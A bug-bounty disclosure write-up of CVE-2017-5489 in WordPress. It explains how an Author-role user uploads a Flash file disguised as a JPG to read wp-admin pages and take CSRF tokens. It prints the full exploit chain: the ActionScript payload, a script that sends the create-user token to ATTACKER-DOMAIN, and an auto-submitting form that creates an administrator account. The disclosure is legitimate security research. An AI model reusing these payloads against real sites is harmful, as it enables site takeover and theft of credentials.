Obtaining WordPress CSRF Tokens for Fun, $1337 bounty, and CVE-2017-5489
Introduction
In 2016, I was working on WordPress security, and today, I found an interesting finding. I am going to share it with you, so have a nice read.
Background
Before discussing the vulnerability, I want to talk about WordPress. For people who do not know WordPress, an open-source CMS based on PHP with millions of users worldwide and over 46 million downloads. For more statistics, visit this article. I started researching WordPress security, and since it is open-source, auditing code and functions would be an advantage for me. The source code is available here.
Many hackers target WordPress because vulnerabilities can affect millions of websites. Companies even offer large bounties—up to $50K for an RCE in WordPress! More details are here.
Technical Details
I started black-box testing WordPress to save time and understand its workflow. Given the vast number of files, I focused on specific functions as needed. Here are the user roles in WordPress:
- Super Admin – Full access across all network sites.
- Administrator – Full control over a single site.
- Editor – Can manage all posts.
- Author – Can publish and manage their posts.
- Contributor – Can write but not publish posts.
- Subscriber – Can manage only their profile.
I checked the Capability_vs._Role_Table and began testing low-privilege roles. Subscriber and Contributor roles were too limited, but as an Author, I could upload files—an attack vector worth exploring.
File Upload Security in WordPress
The upload functionality was interesting. I searched for the code responsible for handling uploads, which led me to these functions:
getimagesize()
(PHP built-in function)wp_check_filetype_and_ext()
(WordPress function)wp_check_filetype()
(WordPress function)
These functions checked file types based on MIME type and file extensions. However, getimagesize()
had a critical security issue many PHP developers overlook:
getimagesize()
supports SWF (Flash) files and treats them as images!
This meant I could upload an SWF file disguised as a JPG, bypassing security filters.
Exploiting the Vulnerability
I created a simple Flash file with the magic number CWS
, changed its extension to .JPG
, and uploaded it via:
http://127.0.0.1/wordpress/wp-admin/media-new.php
Exploiting Same-Origin Policy (SOP)
Since the uploaded Flash file was hosted on the same origin, it could read CSRF tokens and sensitive data from wp-admin
pages. The attack worked by forcing the browser to interpret the file as Flash instead of an image using:
<object data="Ourfile.ext" type="application/x-shockwave-flash"></object>
Steps to Attack
- Upload a disguised Flash file (SWF → JPG).
- Leverage Same-Origin Policy (SOP) to access
wp-admin
data. - Extract CSRF tokens for admin actions.
Flash Payload (wp_poc.as
)
package {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
public class wp_poc extends Sprite {
private var myloader:URLLoader;
public function wp_poc() {
myloader = new URLLoader();
configureListeners(myloader);
var target:String = root.loaderInfo.parameters.input;
var request:URLRequest = new URLRequest(target);
try {
myloader.load(request);
} catch (error:Error) {
steal("Error loading page!");
}
}
private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}
private function completeHandler(event:Event):void {
var myloader:URLLoader = URLLoader(event.target);
steal(myloader.data);
}
private function steal(data:String):void{
ExternalInterface.call("stealtoken", data);
}
}
}
The compiled SWF file was renamed wp_poc.jpg
and uploaded via an Author account.
Extracting the CSRF Token
<script>
function stealtoken(data) {
var token = data.substring(data.lastIndexOf('wpnonce_create-user') + 28, data.lastIndexOf('wpnonce_create-user') + 38);
alert('CSRF Token: ' + token);
document.location = "http://ATTACKER-DOMAIN/wordpress_csrf.php?token=" + token;
}
</script>
<object id="exploit" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash"
data="http://127.0.0.1/wordpress/wp-content/uploads/2017/10/wp_poc.jpg?input=http://127.0.0.1/wordpress/wp-admin/user-new.php">
</object>
CSRF Exploit to Add an Admin User (wordpress_csrf.php
)
<form method="POST" name="csrf" action="http://127.0.0.1/wordpress/wp-admin/user-new.php">
<input type="hidden" name="action" value="createuser" />
<input type="hidden" name="_wpnonce_create-user" value="<?php echo $_GET['token']; ?>" />
<input type="hidden" name="user_login" value="Pwned" />
<input type="hidden" name="email" value="admin@attacker.com" />
<input type="hidden" name="role" value="administrator" />
</form>
<script>document.forms["csrf"].submit();</script>
PoC Video:
Exploit Flow:
Remediation
After reporting this vulnerability via HackerOne, WordPress took over four months to patch it, as it affected all WordPress versions.
- Reward: $1337
- CVE Assigned: CVE-2017-5489
Conclusion
This write-up highlights:
- Security risks of
getimagesize()
- How misconfigured file upload checks can lead to severe vulnerabilities
- The power of SOP in executing exploits
Thanks for reading! If you found this useful, feel free to share.